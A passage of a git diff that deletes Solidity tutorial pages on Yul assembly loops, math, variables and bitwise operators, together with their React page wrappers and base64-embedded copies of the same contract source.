/dev/null @@ -1,40 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Loop" -export const description = "Example of loop in assembly" - -export const keywords = ["assembly", "loop", "yul", "while", "for"] - -export const codes = [ - { - fileName: "AssemblyLoop.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF93aGlsZV9sb29wKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgaSA6PSAwCiAgICAgICAgICAgIGZvciB7fSBsdChpLCA1KSB7fSB7CiAgICAgICAgICAgICAgICBpIDo9IGFkZChpLCAxKQogICAgICAgICAgICAgICAgeiA6PSBhZGQoeiwgMSkKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQ==", - }, -] - -const html = `

Example of loop in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyLoop {
-    function yul_for_loop() public pure returns (uint z) {
-        assembly {
-            for { let i := 0 } lt(i, 10) { i := add(i, 1) } {
-                z := add(z, 1)
-            }
-        }
-    }
-    
-    function yul_while_loop() public pure returns (uint z) {
-        assembly {
-            let i := 0
-            for {} lt(i, 5) {} {
-                i := add(i, 1)
-                z := add(z, 1)
-            }
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/assembly-loop/index.md b/src/pages/assembly-loop/index.md deleted file mode 100644 index 30705850f..000000000 --- a/src/pages/assembly-loop/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Loop -version: 0.8.20 -description: Example of loop in assembly -keywords: [assembly, loop, yul, while, for] ---- - -Example of loop in assembly - -```solidity -{{{AssemblyLoop}}} -``` diff --git a/src/pages/assembly-loop/index.tsx b/src/pages/assembly-loop/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/assembly-loop/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/assembly-math/AssemblyMath.sol b/src/pages/assembly-math/AssemblyMath.sol deleted file mode 100644 index 254a492e9..000000000 --- a/src/pages/assembly-math/AssemblyMath.sol +++ /dev/null @@ -1,40 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyMath { - function yul_add(uint x, uint y) public pure returns (uint z) { - assembly { - z := add(x, y) - if lt(z, x) { revert(0, 0) } - } - } - - function yul_mul(uint x, uint y) public pure returns (uint z) { - assembly { - switch x - case 0 { z := 0 } - default { - z := mul(x, y) - if iszero(eq(div(z, x), y)) { revert(0, 0) } - } - } - } - - // Round to nearest multiple of b - function yul_fixed_point_round(uint x, uint b) public pure returns (uint z) { - assembly { - // b = 100 - // x = 90 - // z = 90 / 100 * 100 = 0, want z = 100 - // z := mul(div(x, b), b) - - let half := div(b, 2) - z := add(x, half) - z := mul(div(z, b), b) - // x = 90 - // half = 50 - // z = 90 + 50 = 140 - // z = 140 / 100 * 100 = 100 - } - } -} \ No newline at end of file diff --git a/src/pages/assembly-math/index.html.ts b/src/pages/assembly-math/index.html.ts deleted file mode 100644 index a87250098..000000000 --- a/src/pages/assembly-math/index.html.ts +++ /dev/null @@ -1,58 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Math" -export const description = "Example of math in assembly" - -export const keywords = ["assembly", "yul", "math", "add", "mul"] - -export const codes = [ - { - fileName: "AssemblyMath.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQgeCwgdWludCB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGZ1bmN0aW9uIHl1bF9tdWwodWludCB4LCB1aW50IHkpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSAwIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICB6IDo9IG11bCh4LCB5KQogICAgICAgICAgICAgICAgaWYgaXN6ZXJvKGVxKGRpdih6LCB4KSwgeSkpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUm91bmQgdG8gbmVhcmVzdCBtdWx0aXBsZSBvZiBiCiAgICBmdW5jdGlvbiB5dWxfZml4ZWRfcG9pbnRfcm91bmQodWludCB4LCB1aW50IGIpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gYiA9IDEwMAogICAgICAgICAgICAvLyB4ID0gOTAKICAgICAgICAgICAgLy8geiA9IDkwIC8gMTAwICogMTAwID0gMCwgd2FudCB6ID0gMTAwCiAgICAgICAgICAgIC8vIHogOj0gbXVsKGRpdih4LCBiKSwgYikKICAgICAgICAgICAgCiAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKQogICAgICAgICAgICB6IDo9IGFkZCh4LCBoYWxmKQogICAgICAgICAgICB6IDo9IG11bChkaXYoeiwgYiksIGIpCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyBoYWxmID0gNTAKICAgICAgICAgICAgLy8geiA9IDkwICsgNTAgPSAxNDAKICAgICAgICAgICAgLy8geiA9IDE0MCAvIDEwMCAqIDEwMCA9IDEwMAogICAgICAgIH0KICAgIH0KfQ==", - }, -] - -const html = `

Example of math in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyMath {
-    function yul_add(uint x, uint y) public pure returns (uint z) {
-        assembly {
-            z := add(x, y)
-            if lt(z, x) { revert(0, 0) }
-        }
-    }
-    
-    function yul_mul(uint x, uint y) public pure returns (uint z) {
-        assembly {
-            switch x
-            case 0 { z := 0 }
-            default {
-                z := mul(x, y)
-                if iszero(eq(div(z, x), y)) { revert(0, 0) }
-            }
-        }
-    }
-    
-    // Round to nearest multiple of b
-    function yul_fixed_point_round(uint x, uint b) public pure returns (uint z) {
-        assembly {
-            // b = 100
-            // x = 90
-            // z = 90 / 100 * 100 = 0, want z = 100
-            // z := mul(div(x, b), b)
-            
-            let half := div(b, 2)
-            z := add(x, half)
-            z := mul(div(z, b), b)
-            // x = 90
-            // half = 50
-            // z = 90 + 50 = 140
-            // z = 140 / 100 * 100 = 100
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/assembly-math/index.md b/src/pages/assembly-math/index.md deleted file mode 100644 index 8fbb08f6a..000000000 --- a/src/pages/assembly-math/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Math -version: 0.8.20 -description: Example of math in assembly -keywords: [assembly, yul, math, add, mul] ---- - -Example of math in `assembly` - -```solidity -{{{AssemblyMath}}} -``` diff --git a/src/pages/assembly-math/index.tsx b/src/pages/assembly-math/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/assembly-math/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/assembly-variable/AssemblyVariable.sol b/src/pages/assembly-variable/AssemblyVariable.sol deleted file mode 100644 index 01455d8eb..000000000 --- a/src/pages/assembly-variable/AssemblyVariable.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyVariable { - function yul_let() public pure returns (uint z) { - assembly { - // Language used for assembly is called Yul - // Local variables - let x := 123 - z := 456 - } - } -} diff --git a/src/pages/assembly-variable/index.html.ts b/src/pages/assembly-variable/index.html.ts deleted file mode 100644 index 073e6709d..000000000 --- a/src/pages/assembly-variable/index.html.ts +++ /dev/null @@ -1,31 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Variable" -export const description = "Example of how to declare variable inside assembly" - -export const keywords = ["assembly", "variable", "yul"] - -export const codes = [ - { - fileName: "AssemblyVariable.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg==", - }, -] - -const html = `

Example of how to declare variables inside assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyVariable {
-    function yul_let() public pure returns (uint z) {
-        assembly {
-            // Language used for assembly is called Yul
-            // Local variables
-            let x := 123
-            z := 456
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/assembly-variable/index.md b/src/pages/assembly-variable/index.md deleted file mode 100644 index 7cb76962b..000000000 --- a/src/pages/assembly-variable/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Variable -version: 0.8.20 -description: Example of how to declare variable inside assembly -keywords: [assembly, variable, yul] ---- - -Example of how to declare variables inside `assembly` - -```solidity -{{{AssemblyVariable}}} -``` diff --git a/src/pages/assembly-variable/index.tsx b/src/pages/assembly-variable/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/assembly-variable/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/bitwise/Bitwise.sol b/src/pages/bitwise/Bitwise.sol deleted file mode 100644 index b367c1a89..000000000 --- a/src/pages/bitwise/Bitwise.sol +++ /dev/null @@ -1,87 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract BitwiseOps { - // x = 1110 = 8 + 4 + 2 + 0 = 14 - // y = 1011 = 8 + 0 + 2 + 1 = 11 - // x & y = 1010 = 8 + 0 + 2 + 0 = 10 - function and(uint x, uint y) external pure returns (uint) { - return x & y; - } - - // x = 1100 = 8 + 4 + 0 + 0 = 12 - // y = 1001 = 8 + 0 + 0 + 1 = 9 - // x | y = 1101 = 8 + 4 + 0 + 1 = 13 - function or(uint x, uint y) external pure returns (uint) { - return x | y; - } - - // x = 1100 = 8 + 4 + 0 + 0 = 12 - // y = 0101 = 0 + 4 + 0 + 1 = 5 - // x ^ y = 1001 = 8 + 0 + 0 + 1 = 9 - function xor(uint x, uint y) external pure returns (uint) { - return x ^ y; - } - - // x = 00001100 = 0 + 0 + 0 + 0 + 8 + 4 + 0 + 0 = 12 - // ~x = 11110011 = 128 + 64 + 32 + 16 + 0 + 0 + 2 + 1 = 243 - function not(uint8 x) external pure returns (uint8) { - return ~x; - } - - // 1 << 0 = 0001 --> 0001 = 1 - // 1 << 1 = 0001 --> 0010 = 2 - // 1 << 2 = 0001 --> 0100 = 4 - // 1 << 3 = 0001 --> 1000 = 8 - // 3 << 2 = 0011 --> 1100 = 12 - function shiftLeft(uint x, uint bits) external pure returns (uint) { - return x << bits; - } - - // 8 >> 0 = 1000 --> 1000 = 8 - // 8 >> 1 = 1000 --> 0100 = 4 - // 8 >> 2 = 1000 --> 0010 = 2 - // 8 >> 3 = 1000 --> 0001 = 1 - // 8 >> 4 = 1000 --> 0000 = 0 - // 12 >> 1 = 1100 --> 0110 = 6 - function shiftRight(uint x, uint bits) external pure returns (uint) { - return x >> bits; - } - - // Get last n bits from x - function getLastNBits(uint x, uint n) external pure returns (uint) { - // Example, last 3 bits - // x = 1101 = 13 - // mask = 0111 = 7 - // x & mask = 0101 = 5 - uint mask = (1 << n) - 1; - return x & mask; - } - - // Get last n bits from x using mod operator - function getLastNBitsUsingMod(uint x, uint n) external pure returns (uint) { - // 1 << n = 2 ** n - return x % (1 << n); - } - - // Get position of most significant bit - // x = 1100 = 10, most significant bit = 1000, so this function will return 3 - function mostSignificantBit(uint x) external pure returns (uint) { - uint i = 0; - while ((x >>= 1) > 0) { - ++i; - } - return i; - } - - // Get first n bits from x - // len = length of bits in x = position of most significant bit of x, + 1 - function getFirstNBits(uint x, uint n, uint len) external pure returns (uint) { - // Example - // x = 1110 = 14, n = 2, len = 4 - // mask = 1100 = 12 - // x & mask = 1100 = 12 - uint mask = ((1 << n) - 1) << (len - n); - return x & mask; - } -} diff --git a/src/pages/bitwise/MostSignificantBitAssembly.sol b/src/pages/bitwise/MostSignificantBitAssembly.sol deleted file mode 100644 index 15451aee4..000000000 --- a/src/pages/bitwise/MostSignificantBitAssembly.sol +++ /dev/null @@ -1,47 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MostSignificantBitAssembly { - function mostSignificantBit(uint x) external pure returns (uint msb) { - assembly { - let f := shl(7, gt(x, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) - x := shr(f, x) - // or can be replaced with add - msb := or(msb, f) - } - assembly { - let f := shl(6, gt(x, 0xFFFFFFFFFFFFFFFF)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := shl(5, gt(x, 0xFFFFFFFF)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := shl(4, gt(x, 0xFFFF)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := shl(3, gt(x, 0xFF)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := shl(2, gt(x, 0xF)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := shl(1, gt(x, 0x3)) - x := shr(f, x) - msb := or(msb, f) - } - assembly { - let f := gt(x, 0x1) - msb := or(msb, f) - } - } -} diff --git a/src/pages/bitwise/MostSignificantBitFunction.sol b/src/pages/bitwise/MostSignificantBitFunction.sol deleted file mode 100644 index 3db2ff16b..000000000 --- a/src/pages/bitwise/MostSignificantBitFunction.sol +++ /dev/null @@ -1,45 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MostSignificantBitFunction { - // Find most significant bit using binary search - function mostSignificantBit(uint x) external pure returns (uint msb) { - // x >= 2 ** 128 - if (x >= 0x100000000000000000000000000000000) { - x >>= 128; - msb += 128; - } - // x >= 2 ** 64 - if (x >= 0x10000000000000000) { - x >>= 64; - msb += 64; - } - // x >= 2 ** 32 - if (x >= 0x100000000) { - x >>= 32; - msb += 32; - } - // x >= 2 ** 16 - if (x >= 0x10000) { - x >>= 16; - msb += 16; - } - // x >= 2 ** 8 - if (x >= 0x100) { - x >>= 8; - msb += 8; - } - // x >= 2 ** 4 - if (x >= 0x10) { - x >>= 4; - msb += 4; - } - // x >= 2 ** 2 - if (x >= 0x4) { - x >>= 2; - msb += 2; - } - // x >= 2 ** 1 - if (x >= 0x2) msb += 1; - } -} diff --git a/src/pages/bitwise/index.html.ts b/src/pages/bitwise/index.html.ts deleted file mode 100644 index 386742da4..000000000 --- a/src/pages/bitwise/index.html.ts +++ /dev/null @@ -1,206 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Bitwise Operators" -export const description = "Learn about bitwise operators in Solidity" - -export const keywords = ["bitwise", "most", "significant", "bit", "assembly"] - -export const codes = [ - { - fileName: "Bitwise.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQgeCwgdWludCB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50IHgsIHVpbnQgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludCB4LCB1aW50IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQgeCwgdWludCBiaXRzKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4geCA8PCBiaXRzOwogICAgfQoKICAgIC8vIDggID4+IDAgPSAxMDAwIC0tPiAxMDAwID0gOAogICAgLy8gOCAgPj4gMSA9IDEwMDAgLS0+IDAxMDAgPSA0CiAgICAvLyA4ICA+PiAyID0gMTAwMCAtLT4gMDAxMCA9IDIKICAgIC8vIDggID4+IDMgPSAxMDAwIC0tPiAwMDAxID0gMQogICAgLy8gOCAgPj4gNCA9IDEwMDAgLS0+IDAwMDAgPSAwCiAgICAvLyAxMiA+PiAxID0gMTEwMCAtLT4gMDExMCA9IDYKICAgIGZ1bmN0aW9uIHNoaWZ0UmlnaHQodWludCB4LCB1aW50IGJpdHMpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB4ID4+IGJpdHM7CiAgICB9CgogICAgLy8gR2V0IGxhc3QgbiBiaXRzIGZyb20geAogICAgZnVuY3Rpb24gZ2V0TGFzdE5CaXRzKHVpbnQgeCwgdWludCBuKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50IHgsIHVpbnQgbikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLy8gMSA8PCBuID0gMiAqKiBuCiAgICAgICAgcmV0dXJuIHggJSAoMSA8PCBuKTsKICAgIH0KCiAgICAvLyBHZXQgcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQKICAgIC8vIHggPSAxMTAwID0gMTAsIG1vc3Qgc2lnbmlmaWNhbnQgYml0ID0gMTAwMCwgc28gdGhpcyBmdW5jdGlvbiB3aWxsIHJldHVybiAzCiAgICBmdW5jdGlvbiBtb3N0U2lnbmlmaWNhbnRCaXQodWludCB4KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICB1aW50IGkgPSAwOwogICAgICAgIHdoaWxlICgoeCA+Pj0gMSkgPiAwKSB7CiAgICAgICAgICAgICsraTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGk7CiAgICB9CgogICAgLy8gR2V0IGZpcnN0IG4gYml0cyBmcm9tIHgKICAgIC8vIGxlbiA9IGxlbmd0aCBvZiBiaXRzIGluIHggPSBwb3NpdGlvbiBvZiBtb3N0IHNpZ25pZmljYW50IGJpdCBvZiB4LCArIDEKICAgIGZ1bmN0aW9uIGdldEZpcnN0TkJpdHModWludCB4LCB1aW50IG4sIHVpbnQgbGVuKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICAvLyBFeGFtcGxlCiAgICAgICAgLy8geCAgICAgICAgPSAxMTEwID0gMTQsIG4gPSAyLCBsZW4gPSA0CiAgICAgICAgLy8gbWFzayAgICAgPSAxMTAwID0gMTIKICAgICAgICAvLyB4ICYgbWFzayA9IDExMDAgPSAxMgogICAgICAgIHVpbnQgbWFzayA9ICgoMSA8PCBuKSAtIDEpIDw8IChsZW4gLSBuKTsKICAgICAgICByZXR1cm4geCAmIG1hc2s7CiAgICB9Cn0K", - }, - { - fileName: "MostSignificantBitAssembly.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCBtc2IpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg3LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgLy8gb3IgY2FuIGJlIHJlcGxhY2VkIHdpdGggYWRkCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDYsIGd0KHgsIDB4RkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDUsIGd0KHgsIDB4RkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg0LCBndCh4LCAweEZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCgzLCBndCh4LCAweEZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMiwgZ3QoeCwgMHhGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMSwgZ3QoeCwgMHgzKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBndCh4LCAweDEpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgfQp9Cg==", - }, - { - fileName: "MostSignificantBitFunction.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50IG1zYikgewogICAgICAgIC8vIHggPj0gMiAqKiAxMjgKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxMjg7CiAgICAgICAgICAgIG1zYiArPSAxMjg7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiA2NAogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gNjQ7CiAgICAgICAgICAgIG1zYiArPSA2NDsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDMyCiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMzI7CiAgICAgICAgICAgIG1zYiArPSAzMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDE2CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMCkgewogICAgICAgICAgICB4ID4+PSAxNjsKICAgICAgICAgICAgbXNiICs9IDE2OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogOAogICAgICAgIGlmICh4ID49IDB4MTAwKSB7CiAgICAgICAgICAgIHggPj49IDg7CiAgICAgICAgICAgIG1zYiArPSA4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNAogICAgICAgIGlmICh4ID49IDB4MTApIHsKICAgICAgICAgICAgeCA+Pj0gNDsKICAgICAgICAgICAgbXNiICs9IDQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAyCiAgICAgICAgaWYgKHggPj0gMHg0KSB7CiAgICAgICAgICAgIHggPj49IDI7CiAgICAgICAgICAgIG1zYiArPSAyOwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMQogICAgICAgIGlmICh4ID49IDB4MikgbXNiICs9IDE7CiAgICB9Cn0K", - }, -] - -const html = `
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract BitwiseOps {
-    // x     = 1110 = 8 + 4 + 2 + 0 = 14
-    // y     = 1011 = 8 + 0 + 2 + 1 = 11
-    // x & y = 1010 = 8 + 0 + 2 + 0 = 10
-    function and(uint x, uint y) external pure returns (uint) {
-        return x & y;
-    }
-
